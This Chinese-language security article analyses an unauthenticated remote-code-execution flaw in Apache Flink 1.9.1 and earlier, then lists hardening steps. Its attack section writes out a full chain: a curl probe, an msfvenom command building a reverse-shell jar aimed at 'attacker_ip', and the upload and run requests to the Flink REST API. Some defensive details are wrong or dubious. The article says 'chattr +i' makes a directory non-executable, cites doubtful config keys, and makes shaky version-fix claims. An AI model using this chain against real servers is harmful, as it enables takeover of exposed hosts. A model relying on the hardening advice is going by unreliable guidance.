Apache Flink ＜=1.9.1 未授权RCE漏洞：从 Jar 上传到系统权限获取的 3 步攻击链分析
Apache Flink未授权RCE漏洞深度剖析：从架构缺陷到实战防御
漏洞背景与影响范围
Apache Flink作为流式计算领域的标杆框架，其设计初衷是处理高吞吐、低延迟的数据流。然而在1.9.1及更早版本中，Web Dashboard的默认无认证机制埋下了严重安全隐患。攻击者仅需通过网络可达，就能直接访问控制台并上传恶意Jar包，最终获取服务器最高权限。
受影响版本矩阵：
| 组件版本 | 漏洞类型 | CVSS评分 | 默认风险 |
|---|---|---|---|
| ≤1.9.1 | 未授权访问+Jar上传RCE | 9.8（高危） | 无需任何认证 |
| 1.9.2-1.11.2 | 需配合其他漏洞 | 8.1（高危） | 依赖配置错误 |
| ≥1.11.3 | 已修复 | - | 需配置不当才会触发 |
典型受害环境包括：
- 暴露在公网的Flink集群管理界面
- 内网中未做网络隔离的开发测试环境
- 采用默认配置的快速部署场景
漏洞成因的三层技术解析
1. 无认证的Web控制台
Flink Dashboard默认监听8081端口，其安全设计存在根本缺陷：
// 典型的安全配置缺失 security.ssl.enabled: false rest.authenticate: false这种"开放管理"模式在开发环境或许方便，但在生产环境等同于敞开大门。
2. Jar动态加载机制
系统通过JobManager处理Jar上传和执行流程：
- 用户上传Jar到
/tmp/flink-web-upload目录 - 通过
PackagedProgram加载Jar中的主类 - 使用
URLClassLoader动态执行用户代码
关键问题在于缺乏代码签名验证：
# 伪代码展示漏洞点 def handle_jar_upload(file): if not file.name.endswith('.jar'): raise Error("仅支持Jar文件") # 无任何内容检查直接保存 save_to_disk(file)3. 高权限服务运行
Flink服务通常以root或Administrator身份运行，导致攻击者获取权限后可直接控制整个主机。这与大数据组件常见的"以最小权限运行"最佳实践相违背。
完整攻击链拆解
阶段一：环境探测
攻击者使用简单curl命令即可确认漏洞存在：
curl -I http://target:8081 # 返回200且无认证要求即为可能存在漏洞阶段二：恶意负载制作
使用MSF生成定制化攻击载荷：
msfvenom -p java/meterpreter/reverse_tcp \ LHOST=attacker_ip \ LPORT=4444 \ -f jar > payload.jar关键参数说明：
java/meterpreter/reverse_tcp：Java平台的反向shell载荷LHOST/LPORT：攻击者监听地址
阶段三：攻击执行流程
上传恶意Jar：
POST /jars/upload HTTP/1.1 Host: target:8081 Content-Type: multipart/form-data [恶意Jar文件内容]触发执行：
POST /jars/payload.jar/run HTTP/1.1 Host: target:8081权限提升：
- 自动加载Jar中的静态代码块
- 建立反向连接获取shell
- 继承Flink服务的高权限
防御体系的四维建设
1. 基础加固措施
网络层控制：
# Nginx反向代理配置示例 location /flink { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; proxy_pass http://localhost:8081; }服务配置调整：
# conf/flink-conf.yaml security.ssl.enabled: true rest.authenticate: true web.upload.dir: "" # 禁用上传2. 运行时防护方案
部署RASP（运行时应用自保护） agents，监控异常行为：
- 非授权类的动态加载
- 敏感系统命令执行
- 异常网络连接建立
3. 安全开发规范
对于需要Jar上传的业务场景，必须实现：
// 代码签名验证示例 JarFile jar = new JarFile(file); Certificate[] certs = jar.getCertificates(); if(!verifySignature(certs)) { throw new SecurityException("无效签名"); }4. 持续监控策略
建立针对Flink集群的专项监控：
- 异常Jar上传行为
- 非预期的新进程创建
- 非常规端口的外联请求
漏洞修复的演进路线
Apache官方在后续版本中采取了多重改进：
1.11.3版本：
- 增加Jar文件内容校验
- 限制动态加载的类路径
1.13.0版本：
- 引入基于Kerberos的强认证
- 默认启用HTTPS加密
最新版本：
- 细粒度的RBAC控制
- 操作审计日志记录
企业级防护建议
对于无法立即升级的旧版本环境，建议采取以下临时措施：
网络隔离方案：
# 使用iptables限制访问 iptables -A INPUT -p tcp --dport 8081 \ -s 10.0.0.0/24 \ # 仅允许内网访问 -j ACCEPT iptables -A INPUT -p tcp --dport 8081 -j DROP文件系统防护：
# 设置上传目录不可执行 chattr +i /tmp/flink-web-upload在多个金融行业客户的实际防护中，我们发现结合网络ACL和服务账户降权的组合方案，能有效将漏洞利用难度从"低"提升到"高"。